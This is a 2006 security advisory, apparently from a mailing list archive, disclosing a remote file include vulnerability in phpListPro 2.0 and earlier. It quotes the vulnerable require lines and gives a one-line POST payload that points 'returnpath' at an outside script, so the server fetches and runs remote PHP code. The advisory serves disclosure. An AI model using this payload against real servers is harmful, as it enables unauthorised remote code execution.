Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA19630] AzDGVote "int_path" File Inclusion Vulnerabilities

[SECURITY] [DSA 1032-1] New zope-cmfplone packages fix unprivileged data manipulation

[eVuln] QLnews XSS and PHP Code Insertion Vulnerabilities

SAXoPRESS - directory traversal

From:	Aesthetico <admin_(at)_majorsecurity.de>
Date:	12.04.2006
Subject:	phpListPro <= 2.0 - Remote File Include Vulnerability

phpListPro <= 2.0 - Remote File Include Vulnerability
--------------------------------------------------------
Software: phpListPro
Version: <=2.00
Type: Remote File Include Vulnerability
Date: April, 11th 2006
Vendor: SmartISoft
Page: http://smartisoft.com
Risc: High


Credits:
----------------------------
'Aesthetico'
http://www.majorsecurity.de


Description:
----------------------------
PHP/mySQL rating TopList professional.


Vulnerability:
----------------------------
The config.php is vulnerable at following lines:

142: require ($returnpath."lang_".$default_language.".php");
143: require ($returnpath."library.php");


Solution:
----------------------------
There isn't a solution yet.


Exploitation:
----------------------------
Post data:
returnpath=http://www.yourspace.com/yourscript.php?